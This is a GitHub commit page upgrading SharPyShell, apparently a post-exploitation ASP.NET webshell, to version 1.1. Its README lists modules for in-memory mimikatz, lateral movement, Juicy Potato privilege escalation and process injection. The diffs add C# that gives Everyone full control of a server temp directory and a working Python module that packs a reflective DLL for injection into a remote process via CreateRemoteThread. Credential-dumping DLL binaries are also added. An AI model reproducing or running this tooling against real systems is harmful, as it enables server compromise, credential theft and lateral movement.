Skip to content

Commit 5a2a242

Browse files
antonioCocoantonioCoco
authored
Merge pull request #3 from antonioCoco/dev
Upgrade to version 1.1: 3 Injection modules added + bugfixes
2 parents 0ba50b5 + 4a781f4 commit 5a2a242

21 files changed

+3419
-1499
lines changed

‎README.md

+17-14
Original file line numberDiff line numberDiff line change
@@ -95,20 +95,23 @@ Generated with asciiflow.com
9595
## Modules
9696

9797
```
98-
#download Download a file from the server
99-
#exec_cmd Run a cmd.exe /c command on the server
100-
#exec_ps Run a powershell.exe -nop -noni -enc 'base64command' on the server
101-
#invoke_ps_module Run a ps1 script on the target server
102-
#invoke_ps_module_as Run a ps1 script on the target server as a specific user
103-
#lateral_psexec Run psexec binary to move laterally
104-
#lateral_wmi Run builtin WMI command to move laterally
105-
#mimikatz Run an offline version of mimikatz directly in memory
106-
#net_portscan Run a port scan using regular sockets, based (pretty) loosely on nmap
107-
#privesc_juicy_potato Launch Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM
108-
#privesc_powerup Run Powerup module to assess all misconfiguration for privesc
109-
#runas Run a cmd.exe /c command spawning a new process as a specific user
110-
#runas_ps Run a powershell.exe -enc spawning a new process as a specific user
111-
#upload Upload a file to the server
98+
#download Download a file from the server
99+
#exec_cmd Run a cmd.exe /c command on the server
100+
#exec_ps Run a powershell.exe -nop -noni -enc 'base64command' on the server
101+
#inject_dll_reflective Inject a reflective DLL in a new (or existing) process
102+
#inject_dll_srdi Inject a generic DLL in a new (or existing) process
103+
#inject_shellcode Inject shellcode in a new (or existing) process
104+
#invoke_ps_module Run a ps1 script on the target server
105+
#invoke_ps_module_as Run a ps1 script on the target server as a specific user
106+
#lateral_psexec Run psexec binary to move laterally
107+
#lateral_wmi Run builtin WMI command to move laterally
108+
#mimikatz Run an offline version of mimikatz directly in memory
109+
#net_portscan Run a port scan using regular sockets, based (pretty) loosely on nmap
110+
#privesc_juicy_potato Launch InMem Juicy Potato attack trying to impersonate NT AUTHORITY\SYSTEM
111+
#privesc_powerup Run Powerup module to assess all misconfiguration for privesc
112+
#runas Run a cmd.exe /c command spawning a new process as a specific user
113+
#runas_ps Run a powershell.exe -enc spawning a new process as a specific user
114+
#upload Upload a file to the server
112115
```
113116

114117
## Windows version tested

‎core/Environment.py

+11-3
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ class GetTempDirectoryException(ModuleException):
1111
using System;using System.IO;using System.Diagnostics;using System.Text;
1212
public class SharPyShell
1313
{
14-
string GetTempDirectory()
14+
private string GetTempDirectory()
1515
{
1616
string tempDirectory="";
1717
string osTempDirectory = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\" + "Temp";
@@ -47,9 +47,11 @@ class GetEnvDirectoryException(ModuleException):
4747

4848
_runtime_code = ur"""
4949
using System;using System.IO;using System.Diagnostics;using System.Text;
50+
using System.Security.AccessControl;using System.Security.Principal;
51+
5052
public class SharPyShell
5153
{
52-
string GetEnvDirectory(string randomName)
54+
private string GetEnvDirectory(string randomName)
5355
{
5456
string envDirectory="";
5557
string osTempDirectory = Environment.GetEnvironmentVariable("SYSTEMROOT") + "\\" + "Temp" + "\\" + randomName;
@@ -66,6 +68,12 @@ class GetEnvDirectoryException(ModuleException):
6668
catch{
6769
envDirectory = @"C:\Windows\Temp";
6870
}
71+
}
72+
if(envDirectory != @"C:\Windows\Temp"){
73+
DirectoryInfo dInfo = new DirectoryInfo(envDirectory);
74+
DirectorySecurity dSecurity = dInfo.GetAccessControl();
75+
dSecurity.AddAccessRule(new FileSystemAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), FileSystemRights.FullControl, InheritanceFlags.ObjectInherit | InheritanceFlags.ContainerInherit, PropagationFlags.NoPropagateInherit, AccessControlType.Allow));
76+
dInfo.SetAccessControl(dSecurity);
6977
}
7078
return envDirectory;
7179
}
@@ -97,7 +105,7 @@ class ClearDirectoriesException(ModuleException):
97105
using System;using System.IO;using System.Diagnostics;using System.Text;
98106
public class SharPyShell
99107
{
100-
string ClearDirectories(string[] modulesPath, string envDirectory)
108+
private string ClearDirectories(string[] modulesPath, string envDirectory)
101109
{
102110
string output="";
103111
for(int i = 0 ; i < modulesPath.Length ; i++)

‎core/config.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
import sys
22
import os
33

4-
sharpyshell_version='1.0'
4+
sharpyshell_version='1.1.14'
55

66
header = '#SharPyShell v' + sharpyshell_version + ' - @splinter_code'
77
banner = """

‎modules/dll/messagebox_msf.dll

5 KB
Binary file not shown.

‎modules/dll/powerkatz.dll

1010 KB
Binary file not shown.

‎modules/inject_dll_reflective.py

+76
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
from modules.inject_shellcode import Inject_shellcode, ModuleException
2+
from core import config
3+
from utils import gzip_utils
4+
import pefile
5+
6+
7+
class InjectDllReflectiveModuleException(ModuleException):
8+
pass
9+
10+
11+
class Inject_dll_reflective(Inject_shellcode):
12+
_exception_class = InjectDllReflectiveModuleException
13+
short_help = "Inject a reflective DLL in a new (or existing) process"
14+
complete_help = r"""
15+
Author: @stephenfewer
16+
Links: https://github.com/stephenfewer/ReflectiveDLLInjection
17+
18+
19+
Inject a reflective DLL into a remote process.
20+
You can choose to create a new process or use a pid of an existing process as a host process.
21+
The dll_path is a relative path to a dll that exists in the folder 'reflective_dll/'.
22+
The dll must be compiled with the 'ReflectiveLoader' exported function otherwise it cannot be executed
23+
at runtime.
24+
You can use one of the following supported injection techniques:
25+
- remote_virtual: classic injection:
26+
VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread
27+
- remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work):
28+
VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread
29+
Note that when you try to inject into an existing process you should ensure you have the rights to open
30+
a handle to that process otherwise the injection cannot be performed.
31+
32+
33+
Usage:
34+
#inject_dll_reflective dll_path [injection_type] [remote_process]
35+
36+
Positional arguments:
37+
dll_path name of a .dll module in the 'reflective_dll/' directory
38+
the DLL must contain a ReflectiveLoader exported function
39+
injection_type the process injection method to use for injecting shellcode
40+
Allowed values: 'remote_virtual', 'remote_virtual_protect'
41+
Default: 'remote_virtual'
42+
remote_process path to an executable to spawn as a host process for the shellcode
43+
if you pass a pid it will try to inject into an existing running process
44+
Default: 'cmd.exe'
45+
46+
Examples:
47+
Inject a messagebox reflective DLL into an existing process:
48+
#inject_dll_reflective messagebox_reflective.dll remote_virtual 2264
49+
50+
"""
51+
52+
def __get_reflective_loader_offset(self, dll_path):
53+
pe_parser = pefile.PE(dll_path)
54+
for exported_function in pe_parser.DIRECTORY_ENTRY_EXPORT.symbols:
55+
if 'ReflectiveLoader' in exported_function.name:
56+
reflective_loader_rva = exported_function.address
57+
return hex(pe_parser.get_offset_from_rva(reflective_loader_rva))
58+
raise self._exception_class('The DLL does not contain a reflective loader function.\n')
59+
60+
def _create_request(self, args):
61+
dll_path, injection_type, remote_process,\
62+
thread_timeout, thread_parameters, code_offset = self._parse_run_args(args)
63+
dll_path = config.modules_paths + 'reflective_dll/' + dll_path
64+
code_offset = str(self.__get_reflective_loader_offset(dll_path))
65+
with open(dll_path, 'rb') as file_handle:
66+
byte_arr = bytearray(file_handle.read())
67+
base64_compressed_dll = gzip_utils.get_compressed_base64_from_binary(byte_arr)
68+
if injection_type == 'remote_virtual_protect':
69+
runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_dll,
70+
thread_parameters, remote_process,
71+
thread_timeout, code_offset)
72+
else:
73+
runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_dll,
74+
thread_parameters, remote_process,
75+
thread_timeout, code_offset)
76+
return runtime_code

0 commit comments

Comments
 (0)